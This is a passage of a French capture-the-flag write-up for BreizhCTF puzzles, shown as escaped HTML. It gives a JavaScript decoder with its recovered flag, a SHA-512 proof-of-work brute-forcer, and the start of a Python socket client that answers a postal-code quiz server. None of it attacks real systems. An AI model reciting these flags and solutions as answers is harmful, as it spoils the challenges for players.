    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hexCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hexCode&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;127&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;charCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;output&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Il suffit alors d’appeler la fonction breizHash avec le message encodé pour obtenir le flag.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;breizHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3d25373c2b39044f1d390a4a1c4b484e4f11204e4a20114f48204a4c3c0a0d16480620084c131c4f124c200b4f20352c20084f0d131b02&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DECRYPT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce qui nous donne le flag suivant :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BZHCTF{0bFu5c4710n_15_n07_53Curi7y_w3lc0m3_t0_JS_w0rld}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;breizh-coin-miner&quot;&gt;Breizh Coin Miner&lt;/h2&gt;

&lt;p&gt;Pour ce challenge, l’objectif est de trouver des valeurs de départ dont le hash sha512 commence par &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1337&lt;/code&gt;.
C’est le principe du proof-of-work utilisé par Bitcoin. La seule façon connue à ce jour est d’essayer plein de valeurs de départ aléatoires, les hasher et regarder si le hash obtenu commence par &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1337&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pour la complexité demandée, un simple programme en javascript suffit. Pour les valeurs aléatoires, je récupère 100 octets depuis &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/urandom&lt;/code&gt; que j’encode en base64.
C’est cette chaîne de caractères en base64 que je vais hasher.
En effet, pour valider les résultats, il est nécessaire de communiquer avec le serveur en utilisant un protocole texte : si jamais la valeur générée contient un byte interprété comme un retour à la ligne, mon résultat sera tronqué.
En utilisant des chaînes en base64, je suis sûr de ne pas avoir de retour à la ligne.&lt;/p&gt;

&lt;p&gt;Le programme final :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;crypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;crypto&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;RandBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;randbytes&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;randomSource&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;RandBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;urandom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;iterate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;randomSource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getRandomBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;gen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;crypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;createHash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sha512&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1337&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;iterate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour s’exécuter, il faut installer le paquet &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;randbytes&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;npm install randbytes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite, il suffit d’exécuter le script, de récupérer 42 valeurs et les envoyer au serveur.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;node index.js
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;En échange, le serveur retourne le flag (que je n’ai pas noté).&lt;/p&gt;

&lt;h2 id=&quot;breizh-kartenn&quot;&gt;Breizh Kartenn&lt;/h2&gt;

&lt;p&gt;Le challenge consistait à renvoyer le nom de la ville correspondant au code postal fourni. Il était plutôt buggé car il avait un comportement indéfini quand plusieurs villes avaient le même code postal.
En effet, il acceptait uniquement une seule des villes pour un code postal donné mais sans règle claire.&lt;/p&gt;

&lt;p&gt;À cela s’ajoute qu’en fonction de la couleur du texte envoyé, il fallait répondre un texte différent.
Si le texte de la question était vert, il fallait renvoyer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YA! Me gwel &amp;lt;nom de la ville&amp;gt; :)&lt;/code&gt;, si il était rouge il fallait renvoyer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NANN! Me ne gwel ket &amp;lt;nom de la ville&amp;gt; :/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pour ce qui est de la couleur du texte, il s’agit de codes spéciaux interprétés par les émulateurs de terminaux.
Pour faire un essai :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo -e &quot;\e[92m vert \e[91m rouge \e[0m&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce sont donc ces caractères que l’on va chercher pour connaître la couleur du texte. Si vous voulez en savoir plus sur la couleur dans les terminaux, je vous recommande la lecture de &lt;a href=&quot;https://misc.flogisoft.com/bash/tip_colors_and_formatting&quot;&gt;Bash tips: Colors and formatting (ANSI/VT100 Control sequences)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Étant donné que l’on doit répondre à un service TCP avec un protocole texte, j’ai du utiliser la bibliothèque socket de python également.
Cependant, faisant face à un protocole texte principalement fait pour être utilisé par un humain, il est difficile de savoir combien d’octets il faut lire avant d’avoir tout le message.
Pour ma part, je me suis basé sur la présence du prompt ou de certains mots clés dans le buffer.&lt;/p&gt;

&lt;p&gt;La correspondance ville-code postal a été récupérée depuis un site internet pointé par le challenge. J’ai converti le tout en CSV :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-csv&quot;&gt;Yffiniac,22120
Vitré,35500
Vezin-le-Coquet,35132
Vern-sur-Seiche,35770
Vannes,56000
Trégunc,29910
Trégueux,22950
Thorigné-Fouillard,35235
Theix-Noyalo,56450
Séné,56860
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Enfin le code python consistait à mettre en place toutes les solutions évoquées précédemment :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;csv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;BZHCTF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;bzhctf&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;KENAVO&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8096&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;mes_villes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;villes-code-postaux.csv&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;newline&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;csvfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;csv_reader&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;csv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;csvfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delimiter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;quotechar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;row&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;csv_reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mes_villes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;st&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SOCK_STREAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;148.60.87.243&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;ENTER&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
